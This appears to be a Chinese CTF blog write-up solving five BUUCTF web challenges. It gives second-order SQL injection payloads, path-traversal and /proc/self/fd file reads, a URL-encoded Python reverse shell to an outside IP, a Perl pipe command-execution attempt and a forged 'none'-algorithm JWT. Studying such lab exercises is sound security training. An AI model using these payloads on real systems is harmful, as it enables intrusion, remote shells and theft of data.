BUUCTF-WEB(76-80)
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
参考:
[BUUCTF题解][CISCN2019 华北赛区 Day1 Web5]CyberPunk - Article_kelp - 博客园 (cnblogs.com)
打开源码发现一个参数
然后我们先把所有页面的代码都获取了
我只放出了change.php的源代码
?file=php://filter/read=convert.base64-encode/resource=change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">
<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">
</head>
<body>
<div id="h">
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2 centered">
<p style="margin:35px 0;"><br></p>
<h1>修改收货地址</h1>
<form method="post">
<p>
<h3>姓名:</h3>
<input type="text" class="subscribe-input" name="user_name">
<h3>电话:</h3>
<input type="text" class="subscribe-input" name="phone">
<h3>地址:</h3>
<input type="text" class="subscribe-input" name="address">
</p>
<p>
<button class='btn btn-lg btn-sub btn-white' type="submit">修改订单</button>
</p>
</form>
<?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
</div>
</div>
</div>
</div>
<div id="f">
<div class="container">
<div class="row">
<p style="margin:35px 0;"><br></p>
<h2 class="mb">订单管理</h2>
<a href="./index.php">
<button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
</a>
<a href="./search.php">
<button class="btn btn-lg btn-register btn-white" >我要查订单</button>
</a>
<a href="./delete.php">
<button class="btn btn-lg btn-register btn-white" >我不想要了</button>
</a>
</div>
</div>
</div>
<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>
对change.php
审计可以注意到会直接使用旧的address
字段,显然可以在二次注入。
然后我们就现在注册的时候把注入语句存入address
字段中,然后我们再去修改页面,修改一些信息,触发sql语句,然后在查询页面可以看到注入的结果
我们先爆数据库
首先创建订单
',`address`=database()#
然后修改订单
然后查看订单,就爆出库了
接下来也不用爆库爆表了,flag在flag.txt
,重复同样的步骤搞一遍
',`address`=(select(load_file("/flag.txt")))#
[网鼎杯 2020 白虎组]PicDown
参考:
[网鼎杯 2020 白虎组]PicDown_ctf welcome 23333333333-CSDN博客
Linux的/proc/self/学习_proc self-CSDN博客
有一个输入框,输入之后发现url
产生变化
然后我想试试是不是文件包含,发现是没有一点反应的
file:///etc/passwd
那我再试试是不是目录穿越
../etc/passwd
然后下载的时候他是一个图片,但是我记事本打开发现了文件被读取了
然后我们试试常规的flag
文件,然后就出来了
../flag
然后搜了wp,这是非预期解,我们看看预期的怎么个事
预期解
我们已经知道了是文件读取,然后我们看一下命令/proc/self/cmdline
然后我们看到这个python文件叫做app.py
,我们现在看一下他的源码
/page?url=app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
我们注意到刚开始从文件中读取了一个SECRET_KEY
,然后之后把文件删了,我们也读取不到了,但注意到他没有关闭这个文件当时,所以我们可以在/proc/self/fd/xxx
找到这个文件
那我们去试试获取一下这个文件,读取key
/page?url=/proc/self/fd/3
97cbE/DWH2jLX3/bmDEX93UFnUPaOgDB/F8CTxph0Ek=
有了这个KEY
我们看一下后面,在/no_one_know_the_manager
这个页面,我们会传入一个key
,当它等于SECRET_KEY
这个值,我们会传入一个shell
参数,然后就会命令执行,而我们也获取到了key
但是os.system
没有回显,我们选择反弹shell,这边我用棱角社区生成的,记得选择python那个[~]#棱角 ::Edge.Forum* (ywhack.com)
/no_one_know_the_manager?key=97cbE/DWH2jLX3/bmDEX93UFnUPaOgDB/F8CTxph0Ek=&shell=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.130.131.63",1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27
[HITCON 2017]SSRFme
参考:
[BUUCTF HITCON 2017]SSRFme 1-CSDN博客
[刷题HITCON 2017]SSRFme - kar3a - 博客园 (cnblogs.com)
【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园 (cnblogs.com)
打开题目就是一个源码甩过来
我么在这里看一下代码,我们在XFF
字段传入一个ip,然后会创建出一个目录,名字为orange+ip
的md5加密过后,此处我都用的127.0.0.1
然后我们的工作目录就会变成这个新生成的目录,然后我们会传入一个参数url
,使用了GET来进行文件的执行操作,
file_put_contents(basename($info["basename"]), $data);
这个将我们linux命令生成的结果,放入了文件中(如果传入的文件名是123,那么$data就被放入sandox/cfbb870b58817bf7705c0bd826e8dba7/123中)
然后我们先试试读取文件
?url=./../../&filename=123
然后访问
/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
然后我们去看看根目录的文件
?url=./../../../../../&filename=123
然后访问
/sandbox/cfbb870b58817bf7705c0bd826e8dba7/123
然后我们直接访问flag
是空的,我们看到后面readflag
是二进制文件,访问后就可以下载下来,所以我们应该运行readflag
才能得到我们心心念念的flag
利用perl语言的漏洞:因为GET函数在底层调用了perl语言中的open函数,但是该函数存在rce漏洞。
我们先创造一个同名的文件
?url=&filename=|/readflag
然后
?url=file:|readflag&filename=123
但是我发现没有用,还是得不到flag
然后就看到大佬利用一句话木马得到flag【HITCON 2017】SSRFme——最简单伪协议思路 - CAP_T - 博客园 (cnblogs.com)
file_put_contents函数使用data伪协议控制其内容,这里想通过GET后加data伪协议实现写马,但是我这里也失败了。
可能环境出了问题。
[b01lers2020]Welcome to Earth
参考:[BUUCTF之b01lers2020]Welcome to Earth_[b01lers2020]welcome to earth 1-CSDN博客
打开页面就是我嘎了,但是URL已经成/die
,我们去掉看看,他很快就又跳转了,我们抓包来搞
我们去这里/chase
看看
然后我们去/leftt
看一下吧,别的都是死路一条
然后我们再去/shoot
看一下
然后去/door
看一下
然后我们再去这个js文件看一下
然后再去/open
看一下
再访问一下这个js文件
然后再去/fight
看看
然后js
这里应该是乱了,我们给他恢复一下
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
pctf{hey_boys_im_baaaaaaaaaack!}
[HFCTF2020]EasyLogin
参考:
[HFCTF2020]EasyLogin-1|JWT身份伪造 - upfine - 博客园 (cnblogs.com)
[BUUCTF---HFCTF2020]EasyLogin保姆级详解。-CSDN博客
F12查看源码,发现app.js
,我们去看一下
题目告诉我们是koa
框架,代码内部有个/api/flag
,我们去了解一下这个框架nodeJs 进阶Koa项目结构详解 - des杜甫 - 博客园 (cnblogs.com)
然后我们去访问一一下/controllers/api.js
,找到一个jwt
生成以及和flag
相关的函数
生成jwt
使用了HS256
加密的,但是我们只要,当加密时使用的是 none
方法,验证时只要密钥处为undefined
或者空之类的,即便后面的算法指名为 HS256
,验证也还是按照 none
来验证通过,那这样的话我们就可以直接伪造jwt的信息了,我们就改下面几个字段
改成如下的
但是啊,这个网页是无法搞出来的,所以我们需要脚本生成,先去下载PyJWT
这个库
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1718346154
},
algorithm="none", key="").encode(encoding='utf-8')
print(token)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTcxODM0NjE1NH0.
然后登录的时候抓包,修改
然后点击get flag